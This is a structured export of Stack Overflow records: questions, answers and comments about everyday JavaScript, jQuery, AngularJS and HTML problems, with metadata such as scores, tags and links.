has body: Where you have your console.log() in your jsfiddle. Replace it with: console.log("connection", i.sourceId , i.targetId);

http://stackoverflow.com/comment/40310961
type: AnswerComment
type: Comment
has text: What do you mean by "retrieving from $_POST" the big problem is probably me not understanding what that means, how it relates from the API I've got with Laravel.
comment on: http://stackoverflow.com/a/25775012
score: 0

http://stackoverflow.com/comment/40355837
score: 1
comment on: http://stackoverflow.com/q/25800085
has text: Well it should work: http://jsfiddle.net/xx55c5g5/
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40443492
type: Comment
comment on: http://stackoverflow.com/a/25848446
score: 0
type: AnswerComment
has text: Yes it does :) http://jsfiddle.net/866pzu47/7/

http://stackoverflow.com/comment/40213794
comment on: http://stackoverflow.com/a/25721530
score: 0
type: AnswerComment
type: Comment
has text: Thanks @Louis - I've managed to compile this, but can't locate the 'Widget' in anyplace - how would you use it? (How would you do 'var p = new Widget()'? Widget doesn't seem to be available

http://stackoverflow.com/q/25744731
favorite count: 0
tagged with: angularjs
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/25041613
has comment: http://stackoverflow.com/comment/40594851
has title: Angularjs typeahead http and typeahead filters not working
answer count: 0
downvote count: 0
score: 1
type: Question
has body: I have ant typeahead that gets data from http, but I need to use custom filters too, like 'limitTo:2' or comparing with another variables etc, but it's not working. When you get data from http it's not possible to use other filters? I have a Plunker example that I made limitTo:2 and it shows all results. If you insert 'a' it don't show only two results. example plunker &lt;input type="text" ng-model="asyncSelected" placeholder="Locations loaded via $http" typeahead="address for address in getLocation($viewValue) | limitTo:2" typeahead-loading="loadingLocations" class="form-control"&gt;
tagged with: javascript
upvote count: 1

http://stackoverflow.com/comment/40389876
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25818659
score: 0
has text: @huz Where are you testing this? Your code [works for me](http://jsfiddle.net/Daedalus/bkjru04a/)

http://stackoverflow.com/a/25804311
upvote count: 16
has body: As per @digitalmediums I've found this is often a misnaming error, if you install from a package manager you bin may be called nodejs so you just need to symlink it like so "sudo ln -s /usr/bin/nodejs /usr/bin/node"
accepted answer of: http://stackoverflow.com/q/25804310
type: Answer
answers question: http://stackoverflow.com/q/25804310
downvote count: 0
score: 16
type: AcceptedAnswer

http://stackoverflow.com/q/25752964
has answer: http://stackoverflow.com/a/25753015
has title: Help on .click()
has comment: http://stackoverflow.com/comment/40269824
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25753034
favorite count: 0
answer count: 3
has comment: http://stackoverflow.com/comment/40269640
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40269668
has comment: http://stackoverflow.com/comment/40269610
has body: I just recently got into coding and decided to just mess around before I started fully coding more in-depth. I am currently trying to make a simple game where you click an object, it does a little animation and it adds 1 to a counter. I have the animation perfectly executed, however I am completely lost as to how I could make the counter. I am trying to use .js via the tags, mainly because the website never loads my script.js file, even though I reference it properly. Anyways here is my html code: 0 Clicks My is very messy, I was trying a plethora of options to try and get it to work but it simply doesn't. So basically what I am trying to do, is everytime I click the object I want it to add 1 to a counter I have on the page. 0 Clicks I am not even sure that's possible but I hope someone out there can help me out :) Thanks!
has answer: http://stackoverflow.com/a/25753034
downvote count: 1
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25753031
accepted answer: http://stackoverflow.com/a/25753031
type: Question
upvote count: 2

http://stackoverflow.com/q/25808593
has title: How can I activate multiple buttons on one page using JavaScript/jQuery?
has body: I want to build a page where a user can select multiple items by clicking on a button. I already used focus and active classes to make the buttons change appearance but with my current code I can only activate one single button. I'm looking for code that enables a user to activate multiple buttons. HTML &lt;button class="btn btn-1"&gt; button 1 &lt;/button&gt; &lt;button class="btn btn-1"&gt; button 2 &lt;/button&gt; &lt;button class="btn btn-1"&gt; button 3 &lt;/button&gt; &lt;button class="btn btn-1"&gt; button 4 &lt;/button&gt; CSS .btn:hover { background-color: rgba(52, 152, 219,0.6); } .btn:focus { background-color: rgba(52, 152, 219,0.6); } .btn:active, .btn:visited { background-color: rgba(52, 152, 219,0.6); } .active { background-color: rgba(52, 152, 219,0.6); } This is the jQuery code I have been using to try and add a permanent active class to those buttons that have been clicked. This is not working yet. $(document).ready(function(){ $('.btn').click(function() { $('.btn').addClass('active'); }); });
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25809136
upvote count: 1
has answer: http://stackoverflow.com/a/25808629
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25808629
favorite count: 0
tagged with: css
possible better answer: http://stackoverflow.com/a/25809136
type: AnsweredQuestion
downvote count: 0
score: 1
type: Question
answer count: 2

http://stackoverflow.com/comment/40343137
comment on: http://stackoverflow.com/a/25793527
score: 0
type: AnswerComment
type: Comment
has text: You would have to put that around EVERY use of the variable.

http://stackoverflow.com/comment/40425037
score: 0
type: Comment
type: QuestionComment
has text: Replace `on-click` with `onclick` instead
comment on: http://stackoverflow.com/q/25838117

http://stackoverflow.com/comment/40261198
has text: Ah so you think his newsletter.json is not json. I can see that being true.
score: 0
comment on: http://stackoverflow.com/q/25748328
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25866466
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25866546
has answer: http://stackoverflow.com/a/25866580
type: AnsweredQuestion
upvote count: 3
possible better answer: http://stackoverflow.com/a/25866580
has answer: http://stackoverflow.com/a/55560118
type: Question
accepted answer: http://stackoverflow.com/a/25866567
score: 3
has body: I am trying to delete with jQuery a row selecting id="data(Number)" from a datatable how this. That's possible, or id would be better on tag, instead of tag? Check Field_1 Field_2 Field_3 Field_1_Input1 Field_2_Input1 Field_3_Input1 Field_1_Input2 Field_2_Input2 Field_3_Input2
tagged with: javascript
answer count: 6
has answer: http://stackoverflow.com/a/25866645
has answer: http://stackoverflow.com/a/52036074
downvote count: 0
has title: Delete a row from a datatable
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25866567

http://stackoverflow.com/q/25753708
has answer: http://stackoverflow.com/a/60106486
has title: How to view JavaScript console on Android (and iOS)?
score: 31
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40271393
has comment: http://stackoverflow.com/comment/40273513
has comment: http://stackoverflow.com/comment/40343902
type: Question
tagged with: debugging
has answer: http://stackoverflow.com/a/25768944
accepted answer: http://stackoverflow.com/a/25768944
has answer: http://stackoverflow.com/a/74900039
tagged with: ios
has comment: http://stackoverflow.com/comment/40271301
tagged with: javascript
has comment: http://stackoverflow.com/comment/40272761
upvote count: 31
has answer: http://stackoverflow.com/a/77562614
has answer: http://stackoverflow.com/a/55228354
linked to: http://stackoverflow.com/q/2314886
tagged with: developer-tools
possible better answer: http://stackoverflow.com/a/60106486
favorite count: 0
has comment: http://stackoverflow.com/comment/40271319
has comment: http://stackoverflow.com/comment/139865826
answer count: 5
has body: I am creating a purely browser based app - HTML and JavaScript. I do not have an Android IDE installed (nor one for iOS) - and would prefer not to have to install one and perform remote debugging. Developing on my PC, I use the Chrome browser and the developer tools to view the JavaScript console in order to debug. How can I do that on an Android tablet (or, later, iOS)? I prefer a purely browser based solution, but could accept an Android/iOS based app.
has comment: http://stackoverflow.com/comment/73909542
tagged with: android

http://stackoverflow.com/a/25802774
upvote count: 1
has body: You are registering a new click handler on every time your content changes. Use jQuery.One() instead of jQuery.on(). jQuery.One() bind handler only once. Try this- $('#confirm_modal').one('click', function(e) { console.log('TEST1'); }); Update:- DEMO
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25802213
score: 1

http://stackoverflow.com/a/25813399
has body: Have you tried $menuback.css({background: jQuery(this).scrollTop()&gt;170 ? "rgba( 255, 255, 255, 0.6 )":"none"});
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25813217
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25813217
type: Answer
score: 2

http://stackoverflow.com/comment/40454743
type: QuestionComment
comment on: http://stackoverflow.com/q/25854578
has text: the only way that I can think of for your case is to store those values in variables and send them to the server using ajax!
score: 0
type: Comment

http://stackoverflow.com/a/25725127
score: -2
has body: Change your code to this - $('div[id=nameid]').focus(); Or (if don't work) do - if ($('div').attr('id') == 'nameid') { do something };
downvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25724954
upvote count: 0

http://stackoverflow.com/comment/40354636
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25799385
has text: Is it possible to make it accessible for something like that console.log(j.nds[0]);

http://stackoverflow.com/q/25816650
tagged with: javascript
tagged with: html2canvas
tagged with: jquery
has comment: http://stackoverflow.com/comment/129632191
score: 0
has comment: http://stackoverflow.com/comment/40387083
has title: How to implement html2canvas
has comment: http://stackoverflow.com/comment/129692788
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40387344
answer count: 0
tagged with: screenshot
type: Question
has comment: http://stackoverflow.com/comment/40388275
has body: Ok, so I know this is a popular question, but none of the other questions, documentation, "tutorials", or anything else I've read has helped me to implement html2canvas. All of the instructions I've read have said things like 'here, paste this code, it worked for me' and then when I copy/paste the code nothing happens. At all. I don't even know where to begin to get this script to work on my page. My site has graphics that a user can shift and rearrange at will, and I want them to be able to take an image of the unique arrangements that the user has created. Here is my code so far. //this code is all in my head tag &lt;script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="html2canvas.js"&gt;&lt;/script&gt; //this was copy/pasted from the html2canvas examples website &lt;script&gt; function html2canvas(document.body, { onrendered: function(canvas) { document.body.appendChild(canvas); } }); &lt;/script&gt; //and this is the button I have on my page that is supposed to call the function when the user clicks &lt;input type="button" onclick=html2canvas() id="pictureBtn" value="Take Picture"&gt; I don't know how to use jQuery yet, but have the link to it in my head tag so that the html2canvas script can read it. I am primarily looking for a way to write everything I need in JavaScript, but if I must use jQuery then I will. As a side note, I'd like the screenshot to be only of the area inside a single table cell or div with the child divs included. Thanks in advance!
has comment: http://stackoverflow.com/comment/40387605

http://stackoverflow.com/comment/40209181
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25720521
has text: Do you really need to display all this huge amount of data all at once? Sounds like not ideal from UX perspective.
score: 0

modal-dialog
tag name: modal-dialog
tags question: http://stackoverflow.com/q/25734485
type: Tag
tags question: http://stackoverflow.com/q/25713051
tags question: http://stackoverflow.com/q/25783864
tags question: http://stackoverflow.com/q/25780390
tags question: http://stackoverflow.com/q/25791240
tags question: http://stackoverflow.com/q/25777597
tags question: http://stackoverflow.com/q/25858319
tags question: http://stackoverflow.com/q/25778043
tags question: http://stackoverflow.com/q/25754973
tags question: http://stackoverflow.com/q/25738442
tags question: http://stackoverflow.com/q/25716805

http://stackoverflow.com/comment/40307495
type: Comment
has text: How about restarting the just the app, not the server?
comment on: http://stackoverflow.com/q/25769258
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40298117
type: Comment
comment on: http://stackoverflow.com/a/25768791
score: 0
type: AnswerComment
has text: Ah, yep that did it. I was using some examples on the doc pages earlier and a few of them used the `c.pipe(c)` and didn't explain what it did so I assumed I needed it

http://stackoverflow.com/comment/40449761
comment on: http://stackoverflow.com/a/25851775
type: AnswerComment
score: 0
type: Comment
has text: No, this confuses the problem. The test unit should test his code, not his regex.

http://stackoverflow.com/comment/40370693
type: QuestionComment
comment on: http://stackoverflow.com/q/25808521
has text: Use `$(document).ready(function(){ ... })` (or the shortcut `$(function(){ ... })`) instead of `$().ready(function(){ ... })`, you seem to be mixing the two options listed [in the jQuery docs](http://learn.jquery.com/using-jquery-core/document-ready/).
score: 0
type: Comment

http://stackoverflow.com/a/26063888
has body: I am getting the same error Its show me like this when i run sudo netstat -tlnp | grep 443 tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 10031/nginx Then i found it was the site available server config file was the problem. Its working now.
score: 0
answers question: http://stackoverflow.com/q/25828617
type: Answer
has comment: http://stackoverflow.com/comment/40834862

http://stackoverflow.com/q/25746512
tagged with: css
answer count: 4
has comment: http://stackoverflow.com/comment/40257301
has answer: http://stackoverflow.com/a/25746805
has answer: http://stackoverflow.com/a/25746673
has title: Want to show/hide multiple divs based on dropdown box selection
type: Question
has body: I've tried looking around and there are similar problems, but mine is way more simple, but yet, I can't find a solution within these forums. This is the dropdown markup. item1 item2 item3 The divs are as: Now, while choosing item 1, only div views-row-1 should be displayed and hiding all other divs. when choosing item 2, only div views-row-2 should be displayed and hiding others. and so on.... the jquery i have used is as: jQuery(document).ready(function($) { $('#category_faq').on('change',function() { if(this.value=='1') { $('.views-row-1').show(); } else if (this.value=='2') { $(".views-row-1").hide(); $(".views-row-2").show(); $(".views-row-3").hide(); } else { $(".views-row-1").hide(); $(".views-row-2").hide(); $(".views-row-3").show(); } }); }); This doesn't seem to work. Where could i be wrong?
has answer: http://stackoverflow.com/a/25746777
has answer: http://stackoverflow.com/a/25746576
tagged with: javascript
has comment: http://stackoverflow.com/comment/40257380
score: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/40257358
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html